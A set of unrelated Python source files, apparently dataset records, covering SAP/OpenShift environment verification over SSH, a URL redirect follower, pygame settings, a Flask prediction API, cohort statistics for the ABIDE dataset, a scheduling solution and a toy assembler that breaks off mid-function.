self._verifySapSystem() and success\n success = self.verifyNfsToHdbSshConnection() and success\n\n return success\n\n def verifyNfsToHdbSshConnection(self, doPrint=True):\n \"\"\" Verify SSH connection from NFS host to HDB host \"\"\"\n hdbUser = self._ctx.cr.refsys.hdb.sidadm\n hdbHost = self._ctx.cf.refsys.hdb.host\n\n testSsh, testSshSecrets = getHdbCopySshCommand(self._ctx, withLogin=True, reuseCon=False)\n\n # set dummy command\n testSsh = testSsh + \" true\"\n\n result = self._cmdSshNfs.run(testSsh, testSshSecrets)\n\n success = result.rc == 0\n\n if doPrint:\n\n nfsUser = self._ctx.cr.nfs.user\n nfsHost = self._ctx.cf.nfs.host.name\n\n if success:\n showMsgOk(f\"SSH connection to HDB host '{hdbHost.name}' \"\n f\"from NFS host '{nfsHost}' was successful.\")\n else:\n showMsgErr(f\"Cannot establish ssh connection '{nfsUser.name}@{nfsHost}\"\n f\" → '{hdbUser.name}@{hdbHost.ip}' ('{hdbUser.name}@{hdbHost.name}').\")\n showMsgInd(f\"Error message: '{result.out}'\")\n showMsgInd(\"Check the ssh connection\"\n f\" '{nfsUser.name}@{nfsHost}' → '{hdbUser.name}@{hdbHost.ip}'.\")\n\n return success\n\n # Private methods\n\n def _verifyOcp(self):\n \"\"\" Verify OCP settings \"\"\"\n # pylint: disable=too-many-statements\n\n def isDomainNameValid(loginAnsw):\n return 'no such host' not in loginAnsw\n\n def isCredentialsValid(loginAnsw):\n condFail1 = (loginAnsw.startswith('Login failed')\n and 'Verify you have provided correct credentials' in loginAnsw)\n condFail2 = not (loginAnsw.startswith('Logged into')\n or loginAnsw.startswith('Login successful'))\n return not (condFail1 or condFail2)\n\n def isProjectValid(project):\n # Assumes that an 'oc login' has been performed beforehand\n cmd = f'oc get project {project} -o custom-columns=NAME:.metadata.name --no-headers'\n # The command behaves as follows:\n # - If the project exists in the OpenShift cluster its name is printed to stdout.\n # - If it does not exist nothing is printed to stdout and an error message is printed\n # to stderr\n return project in CmdShell().run(cmd).out\n\n def areResourcesValid(ocp, containerType):\n return areContainerMemResourcesValid(ocp, containerType)\n\n def isSecretExisting(secret):\n # Assumes that an 'oc login' has been performed beforehand\n cmd = f'oc describe secret {secret}'\n out = CmdShell().run(cmd).err\n return not out.startswith('Error from server')\n\n def verifySetup(ocp, loginAnsw):\n success = True\n if isDomainNameValid(loginAnsw):\n showMsgOk(\"OCP domain name is valid.\")\n if isCredentialsValid(loginAnsw):\n showMsgOk(\"OCP user and password are valid.\")\n if isProjectValid(ocp.project):\n showMsgOk(\"OCP project is valid.\")\n else:\n showMsgErr(f\"OCP project '{ocp.project}' does not exist.\")\n success = False\n else:\n showMsgErr(f\"OCP user '{user.name}' and/or password are invalid.\")\n success = False\n else:\n showMsgErr(f\"OCP domain name '{ocp.domain}' is invalid.\")\n success = False\n\n return success\n\n def verifyResources(ocp):\n success = True\n for containerType in self._ctx.config.getContainerFlavors():\n if containerType == 'init':\n continue\n if areResourcesValid(ocp, containerType):\n showMsgOk(\"OCP memory resources for container type \"\n f\"'{containerType}' are valid.\")\n else:\n showMsgErr(f\"OCP memory limit for container type '{containerType}' \"\n f\"is less than the value specified for requested memory.\")\n success = False\n return success\n\n def verifySecret(ocp):\n success = True\n if not refSystemIsStandard(self._ctx):\n secret = ocp.containers.di.secret\n if secret:\n if isSecretExisting(secret):\n showMsgOk(f\"OCP secret '{secret}' exists.\")\n else:\n showMsgErr(f\"Specified OCP secret '{secret}' \"\n \"was not found in OCP cluster.\")\n showMsgInd(\"Make sure the secret exists and is \"\n \"created in the right project.\")\n success = False\n else:\n showMsgErr(\"Reference system is a distributed system.\")\n showMsgInd(\"You must specify the name of an OCP secret in the config.yaml file\")\n showMsgInd(\"containing the information about the \"\n \"SAP HANA DB user and password.\")\n success = False\n\n return success\n\n ocp = self._ctx.cf.ocp\n user = self._ctx.cr.ocp.user\n\n success = verifySetup(ocp, ocLogin(self._ctx, user))\n success = success and verifyResources(ocp)\n success = success and verifySecret(ocp)\n\n return success\n\n def _verifyImages(self):\n \"\"\" verify Settings for images \"\"\"\n\n def _isRpmFileForPackageAvailable(packageName, path):\n try:\n getRpmFileForPackage(packageName, path)\n return True\n except RpmFileNotFoundException as exp:\n print(exp.errorText)\n return False\n\n def _getImageTypes(ctx):\n return list(ctx.cf.images.__dict__)\n\n success = True\n\n defaultPackagesDir = getConstants().defaultPackagesDir\n\n for flavor in _getImageTypes(self._ctx):\n if flavor == \"init\":\n continue\n packages = getattr(self._ctx.cf.images, flavor).packages\n for package in packages:\n if package.dnfInstallable:\n showMsgOk(f\"Package {package.packageName} installable via dnf install.\")\n else:\n if _isRpmFileForPackageAvailable(package.packageName, defaultPackagesDir):\n showMsgOk(f\"Package {package.packageName} installable via rpm.\")\n else:\n showMsgErr(f\"Package {package.packageName} not found \"\n \"in {defaultPackagesDir}.\")\n success = False\n return success\n\n def _verifyNfs(self):\n \"\"\" Verify NFS settings \"\"\"\n nfs = self._ctx.cf.nfs\n user = self._ctx.cr.nfs.user\n success = True\n\n if self._isHostNameValid(self._cmdSshNfs):\n showMsgOk(\"NFS host is valid.\")\n if self._isUserValid(self._cmdSshNfs):\n showMsgOk(\"NFS user is valid.\")\n else:\n showMsgErr(f\"NFS user '{user.name}' is invalid \"\n f\"or ssh is not set up correctly.\")\n showMsgInd(f\"Check first the existence of '{user.name}' on '{nfs.host.name}'.\")\n showMsgInd(f\"If exists, check the ssh connection by executing: \"\n f\"ssh {user.name}@{nfs.host.name}\")\n success = False\n else:\n showMsgErr(f\"NFS host '{nfs.host.name}' is invalid.\")\n success = False\n\n return success\n\n def _verifyNws4(self):\n \"\"\" Verify settings for reference system component 'nws4' \"\"\"\n return self._verifyRefSys('nws4', self._cmdSshNws4)\n\n def _verifyHdb(self):\n \"\"\" Verify settings for reference system component 'hdb' \"\"\"\n success = self._verifyRefSys('hdb', self._cmdSshNws4)\n if success:\n if self._isHdbBaseDirValid():\n showMsgOk(\"HDB base directory is valid.\")\n else:\n showMsgErr(f\"HDB base directory '{self._ctx.cf.refsys.hdb.base}' is invalid.\")\n success = False\n\n return success\n\n def _verifyRefSys(self, component, cmdSsh):\n \"\"\" Verify settings for given component' \"\"\"\n compUp = component.upper()\n sidU = getattr(self._ctx.cf.refsys, component).sidU\n hostname = getattr(self._ctx.cf.refsys, component).host.name\n user = getattr(self._ctx.cr.refsys, component).sidadm\n success = True\n\n if self._isHostNameValid(cmdSsh):\n showMsgOk(f\"{compUp} host is valid.\")\n if self._isUserValid(cmdSsh):\n showMsgOk(f\"{compUp} user is valid.\")\n if self._isSidInUsrSapServices(cmdSsh, sidU):\n showMsgOk(f\"{compUp} SAP system ID is valid.\")\n else:\n showMsgErr(f\"{compUp} SAP system ID is invalid.\")\n success = False\n else:\n showMsgErr(f\"{compUp} user '{user.name}' is invalid \"\n f\"or ssh is not set up correctly.\")\n showMsgInd(f\"Check first the existence of '{user.name}' on '{hostname}'.\")\n showMsgInd(f\"If exists, check the ssh connection by executing: \"\n f\"ssh {user.name}@{hostname}\")\n success = False\n else:\n showMsgErr(f\"{compUp} host '{hostname}' is invalid.\")\n success = False\n\n return success\n\n def _verifySapSystem(self):\n \"\"\" Verify SAP system setup \"\"\"\n success = True\n if refSystemIsStandard(self._ctx):\n if not self._ctx.cf.refsys.nws4.host.name == self._ctx.cf.refsys.hdb.host.name:\n success = False\n showMsgErr(f\"The HANADB database '{self._ctx.cf.refsys.hdb.sidU}' \"\n \"must run on the same host as the NWS4 SAP System.\")\n\n if not self._isHdbSidInDefaultPfl():\n showMsgErr(\"You must not use a different HANADB SAP System \"\n f\"than specified for the NWS4 SAP System '{self._ctx.cf.refsys.nws4.sidU}'.\")\n success = False\n return success\n\n def _isHostNameValid(self, cmdSsh):\n out = self._checkSshLogin(cmdSsh)\n return 'Could not resolve hostname' not in out\n\n def _isUserValid(self, cmdSsh):\n out = self._checkSshLogin(cmdSsh)\n return 'Permission denied' not in out and 'Connection reset' not in out\n\n def _checkSshLogin(self, cmdSsh):\n return cmdSsh.run('true').err\n\n def _isSidInUsrSapServices(self, cmdSsh, sidU):\n out = cmdSsh.run(f' grep {sidU} /usr/sap/sapservices | wc -l').err\n return not out.startswith('0')\n\n def _isDirValid(self, cmdSsh, directory):\n out = cmdSsh.run(f' ls {directory}').err\n return 'No such file or directory' not in out\n\n def _isHdbBaseDirValid(self):\n out = self._cmdSshHdb.run(f' ls {self._ctx.cf.refsys.hdb.base}').out\n return 'data' in out and 'log' in out and 'shared' in out\n\n def _isHdbSidInDefaultPfl(self):\n defaultPfl = f'/usr/sap/{self._ctx.cf.refsys.nws4.sidU}/SYS/profile/DEFAULT.PFL'\n out = self._cmdSshNws4.run(f' grep dbs/hdb/dbname {defaultPfl}').out\n return self._ctx.cf.refsys.hdb.sidU in out\n\n\nclass VerifyOcp():\n \"\"\" Verify various ocp settings \"\"\"\n\n def __init__(self, ctx):\n\n self._ctx = ctx\n ocLogin(ctx, ctx.cr.ocp.admin)\n self._workerNodes = CmdShell().run(\n 'oc get nodes'\n + ' --selector=\"node-role.kubernetes.io/worker\"'\n + \" -o template --template\"\n + \" '{{range .items}}{{.metadata.name}}{{\"+r'\"\\n\"'+\"}}{{end}}'\"\n ).out.split()\n\n # Public methods\n\n def verify(self):\n \"\"\" Verify various ocp settings \"\"\"\n\n success = True\n success = self._verifySccForProject() and success\n success = self._verifyOcpServiceAccount() and success\n if not self._workerNodes:\n showMsgErr(\"Could not retrieve list of worker nodes.\")\n showMsgInd(\"SELinux and pid limit settings cannot be verified!\")\n success = False\n else:\n success = self._verifySeLinux() and success\n success = self._verifyPidLimit() and success\n return success\n\n # Private methods\n def _runSshJumpCmd(self, worker, cmd):\n ctx = self._ctx\n innerSshCmd = 'ssh'\n if ctx.cr.ocp.helper.user.sshid:\n innerSshCmd += ' -i {ctx.cr.ocp.helper.user.sshid}'\n innerSshCmd += ' -o StrictHostKeyChecking=no'\n innerSshCmd += f' core@{worker} {cmd}'\n\n helperHost = ctx.cf.ocp.helper.host\n helperUser = ctx.cr.ocp.helper.user\n\n res = CmdSsh(ctx, helperHost.name, helperUser, reuseCon=False).run(innerSshCmd)\n\n rval = res.out\n\n if res.rc != 0:\n showMsgErr(f\"Could not execute SSH command on worker node '{worker}'\"\n f\" as user '{helperUser.name}' on helper node '{helperHost.name}'\")\n showMsgInd(f\"({res.err})\")\n rval = 'SSH CONNECT ERROR'\n\n return rval\n\n def _verifySccForProject(self):\n ocp = self._ctx.cf.ocp\n\n out = CmdShell().run(\n 'oc adm policy who-can use scc anyuid'\n \" -o template --template='{{range .groups}}{{.}}{{\"+r'\"\\n\"'+\"}}{{end}}'\"\n ).out.split()\n\n if f'system:serviceaccounts:{ocp.project}' in out:\n showMsgOk(\"Security Context Constraint 'anyuid' is valid.\")\n return True\n\n showMsgErr(f\"Project '{ocp.project}' does not have \"\n \"the 'anyuid' Security Context Constraint permission.\")\n showMsgInd(\"Logon as kube:admin and execute:\")\n showMsgInd(\" oc adm policy add-scc-to-group anyuid\"\n f' \"system:serviceaccounts:{ocp.project}\"\\n')\n return False\n\n def _verifyOcpServiceAccount(self):\n ocp = self._ctx.cf.ocp\n\n out = CmdShell().run(\n 'oc adm policy who-can use scc hostmount-anyuid'\n \" -o template --template='{{range .users}}{{.}}{{\"+r'\"\\n\"'+\"}}{{end}}'\"\n ).out.split()\n\n if f'system:serviceaccount:{ocp.project}:{ocp.project}-sa' in out:\n showMsgOk(\"Security Context Constraint 'hostmount-anyuid' is valid.\")\n return True\n\n showMsgErr(f\"Service account {ocp.project}-sa does not have \"\n \"the 'hostmount-anyuid' Security Context Constraint.\")\n showMsgInd(\"Logon as kube:admin, create the service account and execute:\")\n showMsgInd(\" oc adm policy add-scc-to-user hostmount-anyuid\"\n f' \"system:serviceaccount:{ocp.project}:{ocp.project}-sa\"\\n')\n return False\n\n def _verifySeLinux(self):\n success = True\n for worker in self._workerNodes:\n enforceState = self._runSshJumpCmd(worker, 'getenforce')\n if enforceState in ('Permissive', 'Disabled'):\n showMsgOk(f\"SELinux setting for worker {worker} is valid.\")\n else:\n showMsgErr(f\"Invalid SELinux setting '{enforceState}' for worker {worker}.\")\n success = False\n return success\n\n def _verifyPidLimit(self):\n success = True\n for worker in self._workerNodes:\n pidsLimit = self._runSshJumpCmd(worker, 'crio config | grep pids_limit')\n pidsLimit = int(pidsLimit.split('=')[1])\n if pidsLimit >= 8192:\n showMsgOk(f\"CRI-O pids_limit setting for worker {worker} is valid.\")\n else:\n showMsgErr(f\"CRI-O pids_limit setting for worker {worker} \"\n \"is too low, must be >= 8192.\")\n success = False\n return success\n","sub_path":"tools/modules/verify.py","file_name":"verify.py","file_ext":"py","file_size_in_byte":18745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"352409473","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n\"\"\"This snippet can follow the 30x redirects of a URL, and find the final URL.\n\nThis is done under-the-hood by `requests.get()`, but this is useful if\nyou want to know the URL without actually retrieving its contents.\n\n\"\"\"\n\nimport requests\n\n\ndef chase_redirects(url):\n \"\"\"Generates the 30X redirects of a URL.\"\"\"\n while True:\n yield url\n req = requests.head(url)\n # 3XX status codes mean redirection. The exception is 300 Multiple\n # Choices, which cannot be resolved without user intervention.\n if 300 < req.status_code < 400:\n url = req.headers['location']\n else:\n break\n\n\nif __name__ == '__main__':\n # Example usage: given a URL specified on the command-line, print\n # all the URLs in its redirect path.\n import sys\n for url in chase_redirects(sys.argv[1]):\n print(url)\n","sub_path":"snippets/chase_redirects.py","file_name":"chase_redirects.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"492262825","text":"import sys\n\nimport pygame\n\n\nclass Settings():\n '''储存游戏的所有设置的类'''\n\n def __init__(self):\n self.screen_width = 800\n self.screen_height = 800\n self.bg_color = (214, 222, 224)\n\n self.ship_limit = 2\n\n self.bullet_width = 10\n self.bullet_height = 10\n self.bullet_color = 60, 60, 60\n self.bullet_num_limit = 5\n\n self.alien_drop_speed = 5\n self.alien_points = 50\n\n self.score_scale = 1.5\n\n self.speedup_scale = 1.1\n self.initialize_dynamic_settings()\n\n def initialize_dynamic_settings(self):\n self.ship_speed_factor = 1.5\n self.bullet_speed_factor = 5\n self.alien_speed_factor = 1\n\n # 外星人的移动方向 1:右 -1:左\n self.alien_direction = 1\n self.alien_points = 50\n\n def increase_speed(self):\n self.ship_speed_factor *= self.speedup_scale\n self.bullet_speed_factor *= self.speedup_scale\n self.alien_speed_factor *= self.speedup_scale\n\n self.alien_points = int(self.score_scale * self.alien_points)\n","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"522391946","text":"import json\nfrom threading import Thread\n\nfrom flask import abort, Flask, request\n\nimport modelling\n\n\nMODEL_NAME = \"all.model\" # Replace this with you model filename\nDATA_FILE = \"data/training_data.csv\" # Replace this with your data filename\n\napp = Flask(__name__)\n_model = modelling.load_model(MODEL_NAME)\n_is_training = False\n\n\ndef _train_new_model(data_file, model_name):\n global _model\n global _is_training\n\n _is_training = True\n data = modelling.load_data(data_file)\n model = modelling.train_model(data)\n modelling.save_model(model, model_name)\n _model = model # swap new model into use\n _is_training = False\n\n\n@app.route(\"/\")\ndef index():\n return \"Use the API\"\n\n\n@app.route(\"/echo\", methods=['GET', 'POST'])\ndef echo():\n print('Content-Type:: {}'.format(request.headers['Content-Type']))\n print('Request: {}'.format(request))\n print('Request Payload: \\n{}'.format(request.json))\n return json.dumps(request.json)\n\n\n@app.route('/api/predict', methods=['POST'])\ndef predict():\n global _model\n\n if request.headers['Content-Type'] == 'application/json':\n article = request.json\n article_text = article['article_text']\n del article['article_text']\n prediction = modelling.predict(_model, article_text)\n article['negative_score'] = prediction[0]\n article['positive_score'] = prediction[1]\n return json.dumps(article)\n else:\n abort(400) # bad request\n\n\n@app.route('/api/train', methods=['POST'])\ndef train():\n if _is_training:\n return json.dumps({'error': 'Training already in progress'})\n else:\n thread = Thread(target=_train_new_model, args=(DATA_FILE, MODEL_NAME))\n thread.start()\n return json.dumps({'ok': 'Training started'})\n\n\nif __name__ == \"__main__\":\n app.run(debug=False)\n","sub_path":"api_server.py","file_name":"api_server.py","file_ext":"py","file_size_in_byte":1825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"327354907","text":"#TODO: get cohort summary stats\n\nimport numpy as np\nimport os\nimport pandas as pd\nimport scipy.stats as sc\ndict_path = '/home/biolab/PycharmProjects/abide_dataset/Data_dictionaries'\n\nages_dict = np.load(os.path.join(dict_path, 'id_age.npy')).item()\nsex_dict = np.load(os.path.join(dict_path, 'id_sex.npy')).item()\nviq_dict = np.load(os.path.join(dict_path, 'id_viq.npy')).item()\nfiq_dict = np.load(os.path.join(dict_path, 'id_fiq.npy')).item()\npiq_dict = np.load(os.path.join(dict_path, 'id_piq.npy')).item()\nhand_dict = np.load(os.path.join(dict_path, 'id_hand.npy')).item()\nids = np.load(os.path.join(dict_path, 'all_ids.npy'))\nlabels_dict = np.load(os.path.join(dict_path, 'id_label.npy')).item()\n\ndef save_stats(site):\n\n\n age_asd =[]\n sex_asd =[]\n viq_asd = []\n fiq_asd = []\n piq_asd = []\n hand_asd = []\n age_td = []\n sex_td = []\n viq_td = []\n fiq_td = []\n piq_td = []\n hand_td = []\n for id in ids:\n if site in id:\n if labels_dict[id] == 1:\n age_asd.append(ages_dict[id])\n sex_asd.append(sex_dict[id])\n viq_asd.append(viq_dict[id])\n fiq_asd.append(fiq_dict[id])\n piq_asd.append(piq_dict[id])\n hand_asd.append(hand_dict[id])\n age_asd[:] = [item for item in age_asd if item >= 0]\n viq_asd[:] = [item for item in viq_asd if item >= 0]\n piq_asd[:] = [item for item in piq_asd if item >= 0]\n fiq_asd[:] = [item for item in fiq_asd if item >= 0]\n if len(viq_asd) ==0 :\n viq_asd=[0]\n if len(piq_asd) ==0 :\n piq_asd=[0]\n if len(fiq_td) == 0:\n fiq_asd = [0]\n else:\n age_td.append(ages_dict[id])\n sex_td.append(sex_dict[id])\n viq_td.append(viq_dict[id])\n fiq_td.append(fiq_dict[id])\n piq_td.append(piq_dict[id])\n hand_td.append(hand_dict[id])\n age_td[:] = [item for item in age_td if item >= 0]\n viq_td[:] = [item for item in viq_td if item >= 0]\n piq_td[:] = [item for item in piq_td if item >= 0]\n fiq_td[:] = [item for item in fiq_td if item >= 0]\n if len(viq_td) ==0 :\n viq_td=[0]\n if len(piq_td) ==0 :\n piq_td=[0]\n if len(fiq_td) == 0:\n fiq_td = [0]\n t,p_age = sc.ttest_ind(age_asd,age_td)\n t, p_viq = sc.ttest_ind(viq_asd, viq_td)\n t, p_piq = sc.ttest_ind(piq_asd, piq_td)\n t, p_fiq = sc.ttest_ind(fiq_asd, fiq_td)\n with open('stats.txt','a') as f :\n f.writelines('\\n\\t\\t'+site+ '\\n')\n f.writelines('\\t\\t ASD \\n')\n f.writelines('males \\t '+ str(sex_asd.count(1)) +'\\t females \\t ' + str(sex_asd.count(2)))\n f.writelines('\\n\\tmin\\tmax\\tmean\\tstd\\n')\n f.writelines('age\\t'+str(np.min(age_asd)) +'\\t'+ str(np.max(age_asd))+'\\t'+str(np.mean(age_asd))+'\\t'+str(np.std(age_asd)))\n f.writelines(\n '\\nviq\\t' + str(np.min(viq_asd)) + '\\t' + str(np.max(viq_asd)) + '\\t' + str(np.mean(viq_asd)) + '\\t' + str(\n np.std(viq_asd)))\n f.writelines(\n '\\nfiq\\t' + str(np.min(fiq_asd)) + '\\t' + str(np.max(fiq_asd)) + '\\t' + str(np.mean(fiq_asd)) + '\\t' + str(\n np.std(fiq_asd)))\n f.writelines(\n '\\nviq\\t' + str(np.min(piq_asd)) + '\\t' + str(np.max(piq_asd)) + '\\t' + str(np.mean(piq_asd)) + '\\t' + str(\n np.std(piq_asd)))\n f.writelines('\\n\\t\\t TD \\n')\n f.writelines('males \\t ' + str(sex_td.count(1)) + '\\t females \\t ' + str(sex_td.count(2)))\n f.writelines('\\n\\tmin\\tmax\\tmean\\tstd\\n')\n f.writelines(\n 'age\\t' + str(np.min(age_td)) + '\\t' + str(np.max(age_td)) + '\\t' + str(np.mean(age_td)) + '\\t' + str(\n np.std(age_td)))\n f.writelines(\n '\\nviq\\t' + str(np.min(viq_td)) + '\\t' + str(np.max(viq_td)) + '\\t' + str(np.mean(viq_td)) + '\\t' + str(\n np.std(viq_td)))\n f.writelines(\n '\\nfiq\\t' + str(np.min(fiq_td)) + '\\t' + str(np.max(fiq_td)) + '\\t' + str(np.mean(fiq_td)) + '\\t' + str(\n np.std(fiq_td)))\n f.writelines(\n '\\npiq\\t' + str(np.min(piq_td)) + '\\t' + str(np.max(piq_td)) + '\\t' + str(np.mean(piq_td)) + '\\t' + str(\n np.std(piq_td)))\n\nsites = ['UCLA','NYU','Leuven','Caltech','MaxMun','Olin','KKI','OHSU','Pitt','SBL','SDSU','Stanford','Trinity','UM_','USM','Yale']\nfor site in sites:\n save_stats(site)\n x = 0","sub_path":"get_subjects_stats.py","file_name":"get_subjects_stats.py","file_ext":"py","file_size_in_byte":4682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"456272428","text":"import heapq\n\ndef solution(jobs):\n answer = 0\n i = 0\n start = -1\n now = 0\n heap = []\n\n while i < len(jobs):\n for j in jobs:\n if start < j[0] <= now:\n heapq.heappush(heap, [j[1], j[0]])\n if len(heap) > 0:\n p = heapq.heappop(heap)\n start = now\n now += p[0]\n answer += (now - p[1])\n i += 1\n else:\n now += 1\n return int(answer / len(jobs))","sub_path":"Programmers/코딩테스트 고득점 Kit/힙/P_Level3_디스크 컨트롤러.py","file_name":"P_Level3_디스크 컨트롤러.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"247100732","text":"import sys\r\ndef stringToHexParse(str):\r\n\tHexStr = \"\"\r\n\tfor i in range(0,len(str)):\r\n\t\ttemp = format(ord(str[i]), \"x\")\r\n\t\tHexStr += \"00\"+temp\r\n\treturn HexStr\r\ndef instructionParse(instruction):\r\n\tif instruction:\r\n\t\toperand = \"\"\r\n\t\topCode = \"\"\r\n\t\tlabel = \"\"\r\n\t\tisLabel = False\r\n\t\tisOperand = False\r\n\t\tif instruction.find(';'):\r\n\t\t\tTEMP1 = instruction.split(\";\")\r\n\t\t\tinstruction = str(TEMP1[0])\r\n\t\tspliteInstruc = instruction.split(\" \")\r\n\t\tfor i in range(0,len(spliteInstruc[0])):\r\n\t\t\tif \":\" in spliteInstruc[0][i]:\r\n\t\t\t\tlabel = spliteInstruc[0]\r\n\t\t\t\topCode = spliteInstruc[1]\r\n\t\t\t\tisLabel = True\r\n\t\t\t\tif len(spliteInstruc) >= 3:\r\n\t\t\t\t\toperand = spliteInstruc[2]\r\n\t\tif not isLabel:\r\n\t\t\tif len(spliteInstruc) == 1:\r\n\t\t\t\topCode = spliteInstruc[0]\r\n\t\t\tif len(spliteInstruc) == 2:\r\n\t\t\t\topCode = spliteInstruc[0]\r\n\t\t\t\toperand = spliteInstruc[1]\r\n\t\tparsedCode = [label,opCode,operand]\r\n\t\treturn parsedCode\r\n\treturn \"\"\r\ndef GetMachineCode(instruction=[], instructions=[]):\r\n\tfullInstruction = \"\".join(instruction[1]) + \" \"+ \"\".join(instruction[2])\r\n\ttemp2 = \"\".join(instruction[2]).split(\",\")\r\n\thalfInstr = \"\".join(instruction[1]) + \" \"+ \"\".join(temp2[0])\r\n\tspliteIn = []\r\n\ttemp = [] \t\t\r\n\tfor i in range(0,len(instructions)):\t\t\r\n\t\tif instructions[i][1]:\r\n\t\t\tspliteIn = \"\".join(instructions[i][1]).split(\" \")\r\n\t\t\tif \"\".join(instructions[i][1]).upper() in fullInstruction.upper():\r\n\t\t\t\treturn [instruction[0],instruction[1],instruction[2],instructions[i][0],\"\",\"\",\"\",instructions[i][1],\"\",\"\"]\r\n\tfor i in range(0,len(instructions)):\r\n\t\tif instructions[i][1]:\r\n\t\t\tspliteIn = \"\".join(instructions[i][1]).split(\" \")\t\t\r\n\t\t\tif len(spliteIn) >= 2:\r\n\t\t\t\t#print(2)\r\n\t\t\t\ttemp = \"\".join(spliteIn[1]).split(\",\")\r\n\t\t\t\tCMPhalf = \"\".join(spliteIn[0]) +\" \" +\"\".join(temp[0])\r\n\t\t\t\tif CMPhalf.upper() in halfInstr.upper():\r\n\t\t\t\t\treturn [instruction[0],instruction[1],instruction[2],instructions[i][0],temp[1],temp2[1],\"\",instructions[i][1],\"\",\"\"]\r\n\treturn [[],[],[],[],[],[],[]]\r\ndef printInstruction(parsedInstruction=[]):\r\n\tfor i in range(0, len(parsedInstruction)):\r\n\t\tprint (parsedInstruction[i])\r\ndef link(instruction=[]):\r\n\tfor i in range(0,len(instruction)):\r\n\t\tif instruction[i][0] and not DW(i,instruction):\r\n\t\t\ttemp = \"\".join(instruction[i][0])\r\n\t\t\ttemp=temp[0:len(temp)-1]\r\n\t\t\tif temp:\r\n\t\t\t\tfor x in range(0,len(instruction)):\r\n\t\t\t\t\ttemp2 = \"\".join(instruction[x][2])\r\n\t\t\t\t\tif temp in temp2:\r\n\t\t\t\t\t\tinstruction[x][5] = instruction[i][6]\t\t\r\ndef getNumberOfBitInInstruction(instruction=[]):\t\r\n\tfor i in range(0,len(instruction)):\r\n\t\ttemp1 = str(instruction[i][7]).split(\" \")\r\n\t\tif len(temp1) <= 1 and \"\".join(instruction[i][2]) and not DW(i,instruction):\r\n\t\t\tinstruction[i][5]=instruction[i][2]\r\n\t\tif instruction[i][5]:\r\n\t\t\tif len(instruction[i][5]) <= 4:\r\n\t\t\t\tinstruction[i][8] = 2\r\n\t\t\tif len(instruction[i][5]) == 8:\r\n\t\t\t\tinstruction[i][8] = 3\r\n\t\telse:\r\n\t\t\tinstruction[i][8] = 1\r\n\t\tif str(instruction[i][9]) and not DW(i,instruction):\r\n\t\t\tinstruction[i][8] = 2\r\n\t\tif DW(i,instruction):\r\n\t\t\tinstruction[i][8] = DW(i,instruction)[1]\t\t\t\r\ndef assignMemoryAddress(instruction=[]):\r\n\tprogramCounter = 0\r\n\tfor i in range(0,len(instruction)):\r\n\t\tif instruction[i][8] and not DW(i,instruction):\r\n\t\t\tif int(instruction[i][8]) == 1 and not DW(i,instruction):\r\n\t\t\t\tinstruction[i][6] = hex(programCounter)[2:]\r\n\t\t\t\tprogramCounter+=1\r\n\t\t\tif int(instruction[i][8]) == 2 and not DW(i,instruction):\r\n\t\t\t\tinstruction[i][6] = hex(programCounter)[2:]\r\n\t\t\t\tprogramCounter+=2\r\n\t\t\tif int(instruction[i][8]) == 3 and not DW(i,instruction):\r\n\t\t\t\tinstruction[i][6] = hex(programCounter)[2:]\r\n\t\t\t\tprogramCounter+=3\r\n\t\tif DW(i,instruction):\r\n\t\t\tDWData = DW(i,instruction)\r\n\t\t\tinstruction[i][6] = hex(programCounter)\r\n\t\t\tprogramCounter += DWData[1]\t\t\t\r\ndef checkForMatchingLabel(instruction=[]):\r\n\tfor i in range(0,len(instruction)):\r\n\t\tif instruction[i][0]:\r\n\t\t\ttemp = \"\".join(instruction[i][0])\r\n\t\t\ttemp=temp[0:len(temp)-1]\r\n\t\t\tif temp:\r\n\t\t\t\tfor x in range(0,len(instruction)):\r\n\t\t\t\t\ttemp2 = \"\".join(instruction[x][2])\r\n\t\t\t\t\tif temp in temp2:\r\n\t\t\t\t\t\tinstruction[x][9] = 1\r\ndef assemble(instruction=[]):\r\n\toutPut = \"\"\r\n\tfor i in range(0,len(instruction)):\r\n\t\tif instruction[i][8] and not DW(i,instruction):\r\n\t\t\tif int(instruction[i][8]) == 1:\r\n\t\t\t\toutPut += \"\".join(instruction[i][3]) + \" \" \r\n\t\t\tif int(instruction[i][8]) == 2:\r\n\t\t\t\toutPut += \"\".join(instruction[i][3]) + \" \" + str(instruction[i][5]) + \" \"\r\n\t\t\tif int(instruction[i][8]) == 3:\r\n\t\t\t\toutPut += \"\".join(instruction[i][3]) + \" \" + str(instruction[i][5])[0:4]+ \" \" + str(instruction[i][5])[4:8]+\" \"\r\n\t\tif DW(i,instruction):\r\n\t\t\toutPut += DW(i,instruction)[0]\r\n\treturn outPut\r\ndef DW(index,instruction=[]):\r\n\tcount=0\r\n\ttempstr=\"\"\r\n\tpc=0\r\n\tif \"DW\" in str(instruction[index][1]).upper():\r\n\t\t#for c in str(instruction[index][1]):\r\n\t\t#\tif c == '\"':\r\n\t\t#\t\tinstruction[index][2]=stringToHexParse(str(instruction[index][1]))\r\n\t\tif str(instruction[index][0]):\r\n\t\t\tinstruction[index][9] = 1\r\n\t\toperand = instruction[index][2]\r\n\t\tfor x in range(0,len(operand)):\r\n\t\t\ttempstr+=operand[x]\r\n\t\t\tcount+=1\r\n\t\t\tif count == 4:\r\n\t\t\t\ttempstr+=\" \"\r\n\t\t\t\tcount=0\r\n\t\t\t\tpc+=1\r\n\t\tif count > 0:\r\n\t\t\ttempstr+=\" \"\r\n\t\t\tpc+=1\r\n\t\treturn [tempstr,pc]\r\n\treturn \"\"\r\ndef linkDW(instruction,outBits):\r\n\tParsedBits = outBits.split(\" \")\r\n\treturnStr = \"\" \r\n\tfor i in range(0,len(ParsedBits)):\r\n\t\tbit = ParsedBits[i]\r\n\t\tfor x in range(0,len(instruction)):\r\n\t\t\tParsedLabel = str(instruction[x][0])[:-1]\r\n\t\t\tParsedOpCode = 